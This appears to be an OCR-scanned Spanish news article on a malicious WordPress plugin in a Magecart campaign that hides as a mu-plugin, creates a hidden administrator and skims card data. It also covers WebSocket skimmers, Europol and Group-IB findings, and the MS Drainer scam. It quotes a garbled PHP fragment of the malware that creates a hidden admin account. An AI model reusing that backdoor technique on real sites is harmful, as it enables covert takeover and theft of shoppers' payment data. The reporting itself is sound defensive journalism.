Un plugin malicioso de WordPress expone los sitios de comercio
electrénico al robo de datos de tarjetas de crédito

Los investigadores de amenazas han detectado un complemento de WordPress sospechoso
que puede establecer administradores ficticios y afiadir cédigo JavaScript dafiino para
capturar datos de tarjetas de crédito.

Esta actividad de recopilacién estd vinculada a una operacion de Magecart dirigida a
plataformas de venta en linea, segun indic6 Sucuri.

«Al igual que otros complementos engariosos de WordPress, este tiene datos falsos
al inicio para parecer auténtico», sefiald el experto en sequridad. En el cédigo, se
presenta como ‘Complementos de Caché para WordPress'», Ben Martin.

Los complementos malignos suelen infiltrarse en sitios WordPress mediante un usuario

administrador ya comprometido o explotando vulnerabilidades de otros complementos
instalados en el portal.

Después de su incorporacién, este complemento se autoduplica en el directorio de mu-

plugins, asegurando su activacion inmediata y su ocultacién ante el area de administracién
del sitio.

«Ya que la unica via para eliminar un mu-plugin es mediante la eliminacién manual,
este malware se esfuerza por impedirlo. Para ello, desactiva funciones asociadas
que otros complementos emplearian», detall6 Martin.

Ademas, este complemento engafioso ofrece una funcién para generar y esconder una
cuenta de administrador falsa en el portal original, evitando asi detecciones y garantizando
una presencia prolongada.

El propésito principal de esta maniobra es implantar un programa espia en las paginas de
transaccion para robar datos de tarjetas y enviarlos a un dominio bajo control de los
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atacantes.

«Dado que muchas brechas en WordPress provienen de cuentas administrativas
comprometidas, tiene Iégica que los delincuentes trabajen dentro de las
capacidades que estas cuentas les otorgan, y la incorporacién de complementos es
una herramienta que poseenx, ahadié Martin.

Este descubrimiento surge tras alertas previas de la comunidad de seguridad de WordPress
sobre una estafa que advierte sobre una supuesta falla en el sistema de gestién y persuade a
los usuarios a instalar un complemento falso bajo el pretexto de una correccién. Dicho
complemento, en realidad, establece un administrador oculto y facilita el acceso remoto al
sistema.

Sucuri afadié que los responsables de esta operacién estan utilizando el término
«RESERVADO» vinculado a un identificador CVE, lo cual indica que ha sido reservado por una
entidad de seguridad, aunque aln no se han especificado los detalles.

pmv_create hidden admin() {
Susername = 'busywell’;
Spassword
Semail = 'vendomakilexal337@gmail.com';

( lusername exists(Susername) emall exists(Sem
Suser_id wp create user(Susername, Spassword,
Suser User(Suser id);

Suser 5et_rﬂle(‘administratﬂr‘);

ail)) {
Semail);

La firma de seguridad para paginas web ha identificado una nueva campafa de Magecart
que emplea el protocolo de comunicacion WebSocket para introducir codigos maliciosos en
tiendas digitales. Este codigo maligno se activa cuando se selecciona un falso botén de
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«Confirmar Pedido», que se superpone al botén de pago real.

En un informe reciente de Europol sobre estafas en linea, se sefiala al robo de datos de
tarjetas de crédito mediante skimming como una amenaza que sigue presente, causando la
pérdida y mal uso de esta informacién financiera. «Una tendencia creciente en estas
practicas es el cambio de utilizar malware visible a emplear malware oculto, complicando su
deteccién», destacaron.

Las autoridades de la Unién Europea también han alertado a 443 tiendas en linea sobre la
filtracion de datos de tarjetas de crédito y débito de sus clientes a través de estos ataques de
skimming.

Por otro lado, Group-IB, en colaboracién con Europol en la operacién anti-ciberdelito llamada
Digital Skimming Action, ha identificado 23 grupos de ]JS-sniffers, entre los que se encuentran
nombres como ATMZOW, health_check, FirstKiss, FakeGA, AngryBeaver, Inter y R3nin,
utilizados para atacar empresas en 17 paises de Europa y América.

«Se tiene registro de 132 grupos de JS-sniffer que han afectado sitios web a nivel
global hasta finales de 2023», informo la empresa basada en Singapur.

Adicionalmente, se han detectado anuncios enganosos en Google y Twitter sobre plataformas
de criptomonedas que promocionan un software de drenaje de criptomonedas llamado MS
Drainer, el cual se estima ha desfalcado cerca de $58.98 millones de 63,210 individuos desde
marzo de 2023 mediante una red compuesta por 10,072 paginas fraudulentas.

ScamSniffer comentd: «Al centrarse en grupos especificos a través de términos de
busqueda y seguidores, estas entidades pueden elegir sus blancos y ejecutar
tacticas de phishing con un costo muy reducido».
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